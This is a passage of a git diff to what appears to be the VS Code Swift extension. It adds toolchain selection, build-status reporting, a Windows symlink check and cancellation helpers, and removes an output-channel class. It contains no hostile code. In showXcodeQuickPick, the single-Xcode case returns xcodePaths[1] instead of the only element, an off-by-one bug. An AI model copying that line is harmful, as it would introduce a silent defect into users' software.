StatusItem) { + this.onDidStartTaskDisposible = vscode.tasks.onDidStartTask(event => { + if (!configuration.showBuildStatus) { + return; + } + this.handleTaskStatus(event.execution.task); + }); + } + + dispose() { + this.onDidStartTaskDisposible.dispose(); + } + + private handleTaskStatus(task: vscode.Task): void { + // Only care about swift tasks + if (task.definition.type !== "swift") { + return; + } + // Default to setting if task doesn't overwrite + const showBuildStatus: ShowBuildStatusOptions = + task.definition.showBuildStatus || configuration.showBuildStatus; + if (showBuildStatus === "never") { + return; + } + + const execution = task.execution as SwiftExecution; + const isBuildTask = task.group === vscode.TaskGroup.Build; + const disposables: vscode.Disposable[] = []; + const handleTaskOutput = (update: (message: string) => void) => + new Promise(res => { + const done = () => { + disposables.forEach(d => d.dispose()); + res(); + }; + disposables.push( + this.outputParser( + new RunningTask(task).name, + execution, + isBuildTask, + showBuildStatus, + update, + done + ), + execution.onDidClose(done), + vscode.tasks.onDidEndTask(e => { + if (e.execution.task === task) { + done(); + } + }) + ); + }); + if (showBuildStatus === "progress" || showBuildStatus === "notification") { + void vscode.window.withProgress( + { + location: + showBuildStatus === "progress" + ? vscode.ProgressLocation.Window + : vscode.ProgressLocation.Notification, + }, + progress => handleTaskOutput(message => progress.report({ message })) + ); + } else { + void this.statusItem.showStatusWhileRunning(task, () => + handleTaskOutput(message => this.statusItem.update(task, message)) + ); + } + } + + private outputParser( + name: string, + execution: SwiftExecution, + isBuildTask: boolean, + showBuildStatus: ShowBuildStatusOptions, + update: (message: string) => void, + done: () => void + ): vscode.Disposable { + let started = false; + + const parseEvents = (data: string) => { + const sanitizedData = stripAnsi(data); + // We'll process data one line at a time, in reverse order + // since the latest interesting message is all we need to + // be concerned with + const lines = sanitizedData.split(lineBreakRegex).reverse(); + for (const line of lines) { + if (checkIfBuildComplete(line)) { + update(name); + return !isBuildTask; + } + const progress = this.findBuildProgress(line); + if (progress) { + update(`${name}: [${progress.completed}/${progress.total}]`); + started = true; + return false; + } + if (this.checkIfFetching(line)) { + // this.statusItem.update(task, `Fetching dependencies "${task.name}"`); + update(`${name}: Fetching Dependencies`); + started = true; + return false; + } + } + return false; + }; + + // Begin by showing a message that the build is preparing, as there is sometimes + // a delay before building starts, especially in large projects. + if (!started && showBuildStatus !== "never") { + update(`${name}: Preparing...`); + } + + return execution.onDidWrite(data => { + if (parseEvents(data)) { + done(); + } + }); + } + + private checkIfFetching(line: string): boolean { + const fetchRegex = /^Fetching\s/gm; + return !!fetchRegex.exec(line); + } + + private findBuildProgress(line: string): SwiftProgress | undefined { + const buildingRegex = /^\[(\d+)\/(\d+)\]/g; + const match = buildingRegex.exec(line); + if (match) { + return { completed: parseInt(match[1]), total: parseInt(match[2]) }; + } + } +} diff --git a/src/ui/SwiftOutputChannel.ts b/src/ui/SwiftOutputChannel.ts deleted file mode 100644 index a608704ab..000000000 --- a/src/ui/SwiftOutputChannel.ts +++ /dev/null @@ -1,81 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VSCode Swift open source project -// -// Copyright (c) 2021 the VSCode Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import configuration from "../configuration"; - -export class SwiftOutputChannel { - private channel: vscode.OutputChannel; - - constructor() { - this.channel = vscode.window.createOutputChannel("Swift"); - } - - dispose() { - this.channel.dispose(); - } - - log(message: string, label?: string) { - let fullMessage: string; - if (label !== undefined) { - fullMessage = `${label}: ${message}`; - } else { - fullMessage = message; - } - const line = `${this.nowFormatted}: ${fullMessage}`; - this.channel.appendLine(line); - console.log(line); - } - - logDiagnostic(message: string, label?: string) { - if (!configuration.diagnostics) { - return; - } - let fullMessage: string; - if (label !== undefined) { - fullMessage = `${label}: ${message}`; - } else { - fullMessage = message; - } - const line = `${this.nowFormatted}: ${fullMessage}`; - this.channel.appendLine(line); - console.log(line); - } - - logStart(message: string, label?: string) { - let fullMessage: string; - if (label !== undefined) { - fullMessage = `${label}: ${message}`; - } else { - fullMessage = message; - } - const line = `${this.nowFormatted}: ${fullMessage}`; - this.channel.append(line); - console.log(line); - } - - logEnd(message: string) { - this.channel.appendLine(message); - console.log(message); - } - - get nowFormatted(): string { - return new Date().toLocaleString("en-US", { - hourCycle: "h23", - hour: "2-digit", - minute: "numeric", - second: "numeric", - }); - } -} diff --git a/src/ui/ToolchainSelection.ts b/src/ui/ToolchainSelection.ts new file mode 100644 index 000000000..ad89fe427 --- /dev/null +++ b/src/ui/ToolchainSelection.ts @@ -0,0 +1,636 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { Commands } from "../commands"; +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { Swiftly } from "../toolchain/swiftly"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { isEmptyObject } from "../utilities/utilities"; +import { showReloadExtensionNotification } from "./ReloadExtension"; + +/** + * Open the installation page on Swift.org + */ +async function downloadToolchain() { + if (await vscode.env.openExternal(vscode.Uri.parse("https://www.swift.org/install"))) { + const selected = await showReloadExtensionNotification( + "The Swift extension must be reloaded once you have downloaded and installed the new toolchain.", + "Select Toolchain" + ); + if (selected === "Select Toolchain") { + await selectToolchain(); + } + } +} + +/** + * Open the installation page for Swiftly + */ +async function installSwiftly() { + if (await vscode.env.openExternal(vscode.Uri.parse("https://www.swift.org/install/"))) { + const selected = await showReloadExtensionNotification( + "The Swift extension must be reloaded once you have downloaded and installed the new toolchain.", + "Select Toolchain" + ); + if (selected === "Select Toolchain") { + await selectToolchain(); + } + } +} + +/** + * Prompt the user to select a folder where they have installed the swift toolchain. + * Updates the swift.path configuration with the selected folder. + */ +async function selectToolchainFolder() { + const selected = await vscode.window.showOpenDialog({ + canSelectFiles: false, + canSelectFolders: true, + canSelectMany: false, + title: "Select the folder containing Swift binaries", + openLabel: "Select folder", + }); + if (!selected || selected.length !== 1) { + return; + } + await setToolchainPath({ + category: "public", + swiftFolderPath: selected[0].fsPath, + }); +} + +/** + * Displays an error notification to the user that toolchain discovery failed. + * @returns true if the user made a selection (and potentially updated toolchain settings), false if they dismissed the dialog + */ +export async function showToolchainError(folder?: vscode.Uri): Promise { + let selected: "Remove From Settings" | "Select Toolchain" | "Open Documentation" | undefined; + const folderName = folder ? `${FolderContext.uriName(folder)}: ` : ""; + if (configuration.path) { + selected = await vscode.window.showErrorMessage( + `${folderName}The Swift executable at "${configuration.path}" either could not be found or failed to launch. Please select a new toolchain.`, + "Remove From Settings", + "Select Toolchain" + ); + } else { + selected = await vscode.window.showErrorMessage( + `${folderName}Unable to automatically discover your Swift toolchain. Either install a toolchain from Swift.org or provide the path to an existing toolchain.`, + "Open Documentation", + "Select Toolchain" + ); + } + + if (selected === "Remove From Settings") { + await removeToolchainPath(); + return true; + } else if (selected === "Select Toolchain") { + await selectToolchain(); + return true; + } else if (selected === "Open Documentation") { + void vscode.env.openExternal( + vscode.Uri.parse( + "https://docs.swift.org/vscode/documentation/userdocs/supported-toolchains" + ) + ); + return false; + } + return false; +} + +/** + * Shows a dialog asking user permission to install a missing Swiftly toolchain + * @param version The toolchain version to install + * @param folder Optional folder context for the error + * @returns Promise true if user agrees to install, false otherwise + */ +export async function showMissingToolchainDialog( + version: string, + folder?: vscode.Uri +): Promise { + const folderName = folder ? `${FolderContext.uriName(folder)}: ` : ""; + const message = + `${folderName}Swift version ${version} is required but not installed. ` + + `Would you like to automatically install it using Swiftly?`; + + const choice = await vscode.window.showWarningMessage(message, "Install Toolchain", "Cancel"); + return choice === "Install Toolchain"; +} + +export async function selectToolchain() { + await vscode.commands.executeCommand(Commands.SELECT_TOOLCHAIN); +} + +/** A {@link vscode.QuickPickItem} that contains the path to an installed Swift toolchain */ +type SwiftToolchainItem = PublicSwiftToolchainItem | XcodeToolchainItem | SwiftlyToolchainItem; + +/** Common properties for a {@link vscode.QuickPickItem} that represents a Swift toolchain */ +interface BaseSwiftToolchainItem extends vscode.QuickPickItem { + type: "toolchain"; + onDidSelect?(target: vscode.ConfigurationTarget): Promise; +} + +/** A {@link vscode.QuickPickItem} for a Swift toolchain that has been installed manually */ +interface PublicSwiftToolchainItem extends BaseSwiftToolchainItem { + category: "public"; + toolchainPath: string; + swiftFolderPath: string; +} + +/** A {@link vscode.QuickPickItem} for a Swift toolchain provided by an installed Xcode application */ +interface XcodeToolchainItem extends BaseSwiftToolchainItem { + category: "xcode"; + xcodePath: string; + toolchainPath: string; + swiftFolderPath: string; +} + +/** A {@link vscode.QuickPickItem} for a Swift toolchain provided by Swiftly */ +interface SwiftlyToolchainItem extends BaseSwiftToolchainItem { + category: "swiftly"; + version: string; +} + +/** A {@link vscode.QuickPickItem} that performs an action for the user */ +interface ActionItem extends vscode.QuickPickItem { + type: "action"; + run(): Promise; +} + +/** A {@link vscode.QuickPickItem} that separates items in the UI */ +class SeparatorItem implements vscode.QuickPickItem { + readonly type = "separator"; + readonly kind = vscode.QuickPickItemKind.Separator; + readonly label: string; + + constructor(label: string) { + this.label = label; + } +} + +/** The possible types of {@link vscode.QuickPickItem} in the toolchain selection dialog */ +type SelectToolchainItem = SwiftToolchainItem | ActionItem | SeparatorItem; + +/** + * Retrieves all {@link SelectToolchainItem} that are available on the system. + * + * @returns an array of {@link SelectToolchainItem} + * @param activeToolchain + * @param logger + * @param cwd + */ +async function getQuickPickItems( + activeToolchain: SwiftToolchain | undefined, + logger: SwiftLogger, + cwd?: vscode.Uri +): Promise { + // Find any Xcode installations on the system + const xcodes = (await SwiftToolchain.findXcodeInstalls()) + // Sort in descending order alphabetically + .sort((a, b) => -a.localeCompare(b)) + .map(xcodePath => { + const toolchainPath = path.join( + xcodePath, + "Contents", + "Developer", + "Toolchains", + "XcodeDefault.xctoolchain", + "usr" + ); + return { + type: "toolchain", + category: "xcode", + label: path.basename(xcodePath, ".app"), + detail: xcodePath, + xcodePath, + toolchainPath, + swiftFolderPath: path.join(toolchainPath, "bin"), + }; + }); + // Find any public Swift toolchains on the system + const publicToolchains = (await SwiftToolchain.getToolchainInstalls()) + // Sort in descending order alphabetically + .sort((a, b) => -a.localeCompare(b)) + .map(toolchainPath => { + const result: SwiftToolchainItem = { + type: "toolchain", + category: "public", + label: path.basename(toolchainPath, ".xctoolchain"), + detail: toolchainPath, + toolchainPath: path.join(toolchainPath, "usr"), + swiftFolderPath: path.join(toolchainPath, "usr", "bin"), + }; + if (result.label === "swift-latest") { + result.label = "Latest Installed Toolchain"; + result.onDidSelect = async () => { + void vscode.window.showInformationMessage( + `The Swift extension is now configured to always use the most recently installed toolchain pointed at by the symbolic link "${toolchainPath}".` + ); + }; + } + return result; + }); + + // Find any Swift toolchains installed via Swiftly + const swiftlyToolchains = (await Swiftly.list(logger)).map( + toolchainPath => ({ + type: "toolchain", + label: path.basename(toolchainPath), + category: "swiftly", + version: path.basename(toolchainPath), + onDidSelect: async target => { + try { + const version = path.basename(toolchainPath); + if (target === vscode.ConfigurationTarget.Global) { + await Swiftly.use(version); + } else { + await Promise.all( + vscode.workspace.workspaceFolders?.map(async folder => { + await Swiftly.use(version, folder.uri.fsPath); + }) ?? [] + ); + } + void showReloadExtensionNotification( + "Changing the Swift path requires Visual Studio Code be reloaded." + ); + } catch (error) { + logger.error(error); + void vscode.window.showErrorMessage( + `Failed to switch Swiftly toolchain: ${error}` + ); + } + }, + }) + ); + + if (activeToolchain) { + const currentSwiftlyVersion = activeToolchain.isSwiftlyManaged + ? await Swiftly.inUseVersion("swiftly", cwd) + : undefined; + const toolchainInUse = [...xcodes, ...publicToolchains, ...swiftlyToolchains].find( + toolchain => { + if (currentSwiftlyVersion) { + if (toolchain.category !== "swiftly") { + return false; + } + + // For Swiftly toolchains, check if the label matches the active toolchain version + return currentSwiftlyVersion === toolchain.label; + } + // For non-Swiftly toolchains, check if the toolchain path matches + return ( + (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === + activeToolchain.toolchainPath + ); + } + ); + if (toolchainInUse) { + toolchainInUse.description = "$(check) in use"; + } else { + publicToolchains.splice(0, 0, { + type: "toolchain", + category: "public", + label: `Swift ${activeToolchain.swiftVersion.toString()}`, + description: "$(check) in use", + detail: activeToolchain.toolchainPath, + toolchainPath: activeToolchain.toolchainPath, + swiftFolderPath: activeToolchain.swiftFolderPath, + }); + } + } + // Various actions that the user can perform (e.g. to install new toolchains) + const actionItems: ActionItem[] = [ + ...(await getSwiftlyActions()), + { + type: "action", + label: "$(cloud-download) Download from Swift.org...", + detail: "Open https://swift.org/install to download and install a toolchain", + run: downloadToolchain, + }, + { + type: "action", + label: "$(folder-opened) Select toolchain directory...", + detail: "Select a folder on your machine where the Swift toolchain is installed", + run: selectToolchainFolder, + }, + ]; + + return [ + ...(swiftlyToolchains.length > 0 + ? [new SeparatorItem("swiftly"), ...swiftlyToolchains] + : []), + ...(xcodes.length > 0 ? [new SeparatorItem("Xcode"), ...xcodes] : []), + ...(publicToolchains.length > 0 + ? [new SeparatorItem("toolchains"), ...publicToolchains] + : []), + new SeparatorItem("actions"), + ...actionItems, + ]; +} + +async function getSwiftlyActions(): Promise { + if (!Swiftly.isSupported()) { + return []; + } + if (!(await Swiftly.isInstalled())) { + const platformName = process.platform === "linux" ? "Linux" : "macOS"; + return [ + { + type: "action", + label: "$(swift-icon) Install Swiftly for toolchain management...", + detail: `Install https://swiftlang.github.io/swiftly to manage your toolchains on ${platformName}`, + run: installSwiftly, + }, + ]; + } + // We only support installing toolchains via Swiftly starting in Swiftly 1.1.0 + const swiftlyVersion = await Swiftly.version(); + if (swiftlyVersion?.isLessThan({ major: 1, minor: 1, patch: 0 })) { + return []; + } + return [ + { + type: "action", + label: "$(cloud-download) Install Swiftly toolchain...", + detail: "Install a Swift stable release toolchain via Swiftly", + run: async () => { + await vscode.commands.executeCommand(Commands.INSTALL_SWIFTLY_TOOLCHAIN); + }, + }, + { + type: "action", + label: "$(beaker) Install Swiftly snapshot toolchain...", + detail: "Install a Swift snapshot toolchain via Swiftly from development builds", + run: async () => { + await vscode.commands.executeCommand(Commands.INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN); + }, + }, + ]; +} + +/** + * Prompt the user to select or install a swift toolchain. Updates the swift.path configuration + * with the user's selection. + * + * @param activeToolchain the {@link WorkspaceContext} + * @param logger + * @param cwd + */ +export async function showToolchainSelectionQuickPick( + activeToolchain: SwiftToolchain | undefined, + logger: SwiftLogger, + cwd?: vscode.Uri +) { + let xcodePaths: string[] = []; + const selectedToolchain = await vscode.window.showQuickPick( + getQuickPickItems(activeToolchain, logger, cwd).then(result => { + xcodePaths = result + .filter((i): i is XcodeToolchainItem => "category" in i && i.category === "xcode") + .map(xcode => xcode.xcodePath); + return result; + }), + { + title: "Select the Swift toolchain", + placeHolder: "Pick a Swift toolchain that VS Code will use", + canPickMany: false, + } + ); + if (selectedToolchain?.type === "action") { + return await selectedToolchain.run(); + } + if (selectedToolchain?.type === "toolchain") { + // Select an Xcode to build with + let developerDir: string | undefined = undefined; + if (selectedToolchain.category === "xcode") { + developerDir = await SwiftToolchain.getXcodeDeveloperDir({ + ...process.env, + DEVELOPER_DIR: selectedToolchain.xcodePath, + }); + } else { + const selectedDeveloperDir = await showDeveloperDirQuickPick(xcodePaths); + if (!selectedDeveloperDir) { + return; + } + developerDir = selectedDeveloperDir.developerDir; + } + // Update the toolchain configuration + await setToolchainPath(selectedToolchain, developerDir); + return; + } +} + +async function showXcodeQuickPick( + xcodePaths: string[] +): Promise<{ type: "selected"; xcodePath: string | undefined } | undefined> { + if (process.platform !== "darwin" || xcodePaths.length === 0) { + return { type: "selected", xcodePath: undefined }; + } + if (xcodePaths.length === 1) { + return { type: "selected", xcodePath: xcodePaths[1] }; + } + type XcodeQuickPickItem = vscode.QuickPickItem & { inUse: boolean; xcodePath: string }; + const selected = await vscode.window.showQuickPick( + SwiftToolchain.getXcodeDeveloperDir(configuration.swiftEnvironmentVariables).then( + existingDeveloperDir => { + return xcodePaths + .map(xcodePath => { + const result: XcodeQuickPickItem = { + label: path.basename(xcodePath, ".app"), + detail: xcodePath, + inUse: false, + xcodePath, + }; + if (existingDeveloperDir.startsWith(xcodePath)) { + result.description = "$(check) in use"; + result.inUse = true; + } + return result; + }) + .sort((a, b) => { + // Bring the active Xcode to the top + if (existingDeveloperDir.startsWith(a.detail ?? "")) { + return -1; + } else if (existingDeveloperDir.startsWith(b.detail ?? "")) { + return 1; + } + // Otherwise sort by name + return a.label.localeCompare(b.label); + }); + } + ), + { + title: "Select a developer directory", + placeHolder: + "Pick an Xcode installation to use as the developer directory and for the macOS SDK", + canPickMany: false, + } + ); + if (!selected) { + return undefined; + } + return { type: "selected", xcodePath: selected.xcodePath }; +} + +/** + * Prompt the user to choose a value for the DEVELOPER_DIR environment variable. + * + * @param xcodePaths An array of paths to available Xcode installations on the system + * @returns The selected DEVELOPER_DIR or undefined if the user cancelled selection + */ +export async function showDeveloperDirQuickPick( + xcodePaths: string[] +): Promise<{ developerDir: string | undefined } | undefined> { + const selectedXcode = await showXcodeQuickPick(xcodePaths); + if (!selectedXcode) { + return undefined; + } + if (!selectedXcode.xcodePath) { + return { developerDir: undefined }; + } + // Find the actual DEVELOPER_DIR based on the selected Xcode app + return { + developerDir: await SwiftToolchain.getXcodeDeveloperDir({ + ...process.env, + DEVELOPER_DIR: selectedXcode.xcodePath, + }), + }; +} + +/** + * Delete all set Swift path settings. + */ +export async function removeToolchainPath() { + const swiftSettings = vscode.workspace.getConfiguration("swift"); + const swiftEnvironmentSettings = swiftSettings.inspect("swiftEnvironmentVariables"); + if (swiftEnvironmentSettings?.globalValue) { + await swiftSettings.update( + "swiftEnvironmentVariables", + { + ...swiftEnvironmentSettings?.globalValue, + DEVELOPER_DIR: undefined, + }, + vscode.ConfigurationTarget.Global + ); + } + await swiftSettings.update("path", undefined, vscode.ConfigurationTarget.Global); + if (swiftEnvironmentSettings?.workspaceValue) { + await swiftSettings.update( + "swiftEnvironmentVariables", + { + ...swiftEnvironmentSettings?.workspaceValue, + DEVELOPER_DIR: undefined, + }, + vscode.ConfigurationTarget.Workspace + ); + } + await swiftSettings.update("path", undefined, vscode.ConfigurationTarget.Workspace); +} + +export async function askWhereToSetToolchain(): Promise { + if (!vscode.workspace.workspaceFolders) { + return vscode.ConfigurationTarget.Global; + } + const selected = await vscode.window.showQuickPick( + [ + { + label: "Workspace Configuration", + description: "(Recommended)", + detail: "Add to VS Code workspace configuration", + target: vscode.ConfigurationTarget.Workspace, + }, + { + label: "Global Configuration", + detail: "Add to VS Code user configuration", + target: vscode.ConfigurationTarget.Global, + }, + ], + { + title: "Toolchain Configuration", + placeHolder: "Select a location to update the toolchain selection", + canPickMany: false, + } + ); + return selected?.target; +} + +/** + * Update the toolchain path + * @param swiftToolchain + * @param developerDir + * @returns + */ +export async function setToolchainPath( + toolchain: { + category: SwiftToolchainItem["category"]; + swiftFolderPath?: string; + onDidSelect?: SwiftToolchainItem["onDidSelect"]; + }, + developerDir?: string, + target?: vscode.ConfigurationTarget +): Promise { + target = target ?? (await askWhereToSetToolchain()); + if (!target) { + return; + } + const toolchainPath = toolchain.category !== "swiftly" ? toolchain.swiftFolderPath : undefined; + const swiftConfiguration = vscode.workspace.getConfiguration("swift"); + await swiftConfiguration.update("path", toolchainPath, target); + const swiftEnvironmentVariables = { + ...configuration.swiftEnvironmentVariables, + DEVELOPER_DIR: developerDir, + }; + await swiftConfiguration.update( + "swiftEnvironmentVariables", + isEmptyObject(swiftEnvironmentVariables) ? undefined : swiftEnvironmentVariables, + target + ); + await checkAndRemoveWorkspaceSetting(target); + if (toolchain.onDidSelect) { + await toolchain.onDidSelect(target); + } +} + +async function checkAndRemoveWorkspaceSetting(target: vscode.ConfigurationTarget | undefined) { + // Check to see if the configuration would be overridden by workspace settings + if (target !== vscode.ConfigurationTarget.Global) { + return; + } + const inspect = vscode.workspace.getConfiguration("swift").inspect("path"); + if (inspect?.workspaceValue) { + const confirmation = await vscode.window.showWarningMessage( + "You already have a Swift path configured in Workspace Settings which takes precedence over User Settings." + + " Would you like to remove the setting from your workspace and use the User Settings instead?", + "Remove Workspace Setting" + ); + if (confirmation !== "Remove Workspace Setting") { + return; + } + const swiftSettings = vscode.workspace.getConfiguration("swift"); + const swiftEnvironmentSettings = swiftSettings.inspect("swiftEnvironmentVariables"); + if (swiftEnvironmentSettings?.workspaceValue) { + await swiftSettings.update( + "swiftEnvironmentVariables", + { + ...swiftEnvironmentSettings?.workspaceValue, + DEVELOPER_DIR: undefined, + }, + vscode.ConfigurationTarget.Workspace + ); + } + await swiftSettings.update("path", undefined, vscode.ConfigurationTarget.Workspace); + } +} diff --git a/src/ui/win32.ts b/src/ui/win32.ts new file mode 100644 index 000000000..4a514e78f --- /dev/null +++ b/src/ui/win32.ts @@ -0,0 +1,69 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as vscode from "vscode"; + +import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { TemporaryFolder } from "../utilities/tempFolder"; + +/** + * Warns the user about lack of symbolic link support on Windows. Performs the + * check in the background to avoid extending extension startup times. + * + * @param outputChannel The Swift output channel to log any errors to + */ +export function checkAndWarnAboutWindowsSymlinks(logger: SwiftLogger) { + if (process.platform === "win32" && configuration.warnAboutSymlinkCreation) { + void isSymlinkAllowed(logger).then(async canCreateSymlink => { + if (canCreateSymlink) { + return; + } + const selected = await vscode.window.showWarningMessage( + "The Swift extension is unable to create symbolic links on your system and some features may not work correctly. Please either enable Developer Mode or allow symlink creation via Windows privileges.", + "Learn More", + "Don't Show Again" + ); + if (selected === "Learn More") { + return vscode.env.openExternal( + vscode.Uri.parse( + "https://learn.microsoft.com/en-us/windows/apps/get-started/enable-your-device-for-development" + ) + ); + } else if (selected === "Don't Show Again") { + configuration.warnAboutSymlinkCreation = false; + } + }); + } +} + +/** + * Checks to see if the platform allows creating symlinks. + * + * @returns whether or not a symlink can be created + */ +export async function isSymlinkAllowed(logger?: SwiftLogger): Promise { + const temporaryFolder = await TemporaryFolder.create(); + return await temporaryFolder.withTemporaryFile("", async testFilePath => { + const testSymlinkPath = temporaryFolder.filename("symlink-"); + try { + await fs.symlink(testFilePath, testSymlinkPath, "file"); + await fs.unlink(testSymlinkPath); + return true; + } catch (error) { + logger?.error(error); + return false; + } + }); +} diff --git a/src/ui/withDelayedProgress.ts b/src/ui/withDelayedProgress.ts new file mode 100644 index 000000000..3c202e07e --- /dev/null +++ b/src/ui/withDelayedProgress.ts @@ -0,0 +1,89 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +/** + * A wrapper around {@link vscode.Progress} that allows for delaying progress reporting. + */ +class ProgressWrapper implements vscode.Progress { + private lastProgressReport: T | undefined; + private progressReportEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + + report(value: T): void { + this.lastProgressReport = value; + this.progressReportEmitter.fire(value); + } + + onDidReportProgress: vscode.Event = listener => { + if (this.lastProgressReport !== undefined) { + listener(this.lastProgressReport); + } + return this.progressReportEmitter.event(listener); + }; +} + +/** + * A wrapper around {@link vscode.window.withProgress withProgress} that will show progress + * only after a certain timeout is reached. Useful for user-initiated background + * tasks that are expected to complete quickly, but should be reported to the user + * otherwise. + * @param options A {@link vscode.ProgressOptions ProgressOptions} object to pass to {@link vscode.window.withProgress withProgress} + * @param task A callback returning a promise. Progress state can be reported with the provided {@link vscode.Progress Progress}-object. + * @param timeout The delay (in milliseconds) to wait before showing progress + */ +export async function withDelayedProgress( + options: vscode.ProgressOptions, + task: ( + progress: vscode.Progress<{ message?: string; increment?: number }>, + token: vscode.CancellationToken + ) => Promise, + timeout: number +): Promise { + const cancellationTokenSource = new vscode.CancellationTokenSource(); + const progressWrapper = new ProgressWrapper<{ message?: string; increment?: number }>(); + const disposables: vscode.Disposable[] = [cancellationTokenSource]; + const taskPromise = task(progressWrapper, cancellationTokenSource.token); + // Trigger vscode.window.withProgress() after a delay + const nodeTimeout = setTimeout(() => { + vscode.window + .withProgress(options, async (progress, token) => { + // Forward progress events + disposables.push( + progressWrapper.onDidReportProgress(value => progress.report(value)) + ); + // Forward cancellation events + if (token.isCancellationRequested) { + cancellationTokenSource.cancel(); + } + token.onCancellationRequested(() => cancellationTokenSource.cancel()); + // Progress notification will disappear once the task completes + await taskPromise; + }) + .then(undefined, () => { + /* errors will be handled by the await below */ + }); + }, timeout); + // Make sure the timeout gets cancelled on completion + disposables.push({ + dispose: () => clearTimeout(nodeTimeout), + }); + // Wait for task completion and clean up any disposables + try { + return await taskPromise; + } finally { + for (const disposable of disposables) { + disposable.dispose(); + } + } +} diff --git a/src/utilities/cancellation.ts b/src/utilities/cancellation.ts new file mode 100644 index 000000000..7ab18083e --- /dev/null +++ b/src/utilities/cancellation.ts @@ -0,0 +1,102 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +/** + * An implementation of `vscode.CancellationToken` that monitors multiple child + * tokens and emits on the `onCancellationRequested` event when any of them are cancelled. + */ +export class CompositeCancellationToken implements vscode.CancellationToken, vscode.Disposable { + private tokens: vscode.CancellationToken[] = []; + private disposables: vscode.Disposable[] = []; + private cancellationRequestedEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private cancelled: boolean = false; + + public onCancellationRequested: vscode.Event = this.cancellationRequestedEmitter.event; + + public constructor(...tokens: vscode.CancellationToken[]) { + tokens.forEach(token => this.add(token)); + } + + public get isCancellationRequested(): boolean { + return this.tokens.find(t => t.isCancellationRequested) !== undefined; + } + + public add(token: vscode.CancellationToken) { + this.tokens.push(token); + this.disposables.push( + token.onCancellationRequested(e => { + // Ensure we only trigger once even if multiple children are cancelled. + if (this.cancelled) { + return; + } + this.cancelled = true; + this.cancellationRequestedEmitter.fire(e); + }) + ); + } + + public dispose() { + this.disposables.forEach(d => d.dispose()); + } +} + +/** + * An implementation of a `vscode.CancellationTokenSource` that also monitors multiple + * child tokens for cancellation, and cancels the token sources token when any of the child tokens are cancelled. + */ +export class CompositeCancellationTokenSource + implements vscode.CancellationTokenSource, vscode.Disposable +{ + private tokenSource: vscode.CancellationTokenSource; + private disposables: vscode.Disposable[] = []; + + /** + * Creates a new cancellation token source that is cancelled when any of the provided tokens are cancelled + * @param tokens The tokens to monitor for cancellation + */ + public constructor(...tokens: vscode.CancellationToken[]) { + this.tokenSource = new vscode.CancellationTokenSource(); + + // Monitor all provided tokens and cancel this token source when any of them are cancelled + tokens.forEach(token => { + const disposable = token.onCancellationRequested(() => { + this.cancel(); + }); + this.disposables.push(disposable); + }); + } + + /** + * The token provided by this source + */ + public get token(): vscode.CancellationToken { + return this.tokenSource.token; + } + + /** + * Cancels the token + */ + public cancel(): void { + this.tokenSource.cancel(); + } + + /** + * Disposes this cancellation token source + */ + public dispose(): void { + this.tokenSource.dispose(); + this.disposables.forEach(d => d.dispose()); + } +} diff --git a/src/utilities/commands.ts b/src/utilities/commands.ts new file mode 100644 index 000000000..e8a6cf2b4 --- /dev/null +++ b/src/utilities/commands.ts @@ -0,0 +1,20 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export enum Workbench { + ACTION_DEBUG_CONTINUE = "workbench.action.debug.continue", + ACTION_CLOSEALLEDITORS = "workbench.action.closeAllEditors", + ACTION_RELOADWINDOW = "workbench.action.reloadWindow", + ACTION_PREVIOUSEDITORINGROUP = "workbench.action.previousEditorInGroup", +} diff --git a/src/utilities/extensions.ts b/src/utilities/extensions.ts new file mode 100644 index 000000000..7547ce440 --- /dev/null +++ b/src/utilities/extensions.ts @@ -0,0 +1,18 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +export enum Extension { + CODELLDB = "vadimcn.vscode-lldb", + LLDBDAP = "llvm-vs-code-extensions.lldb-dap", +} diff --git 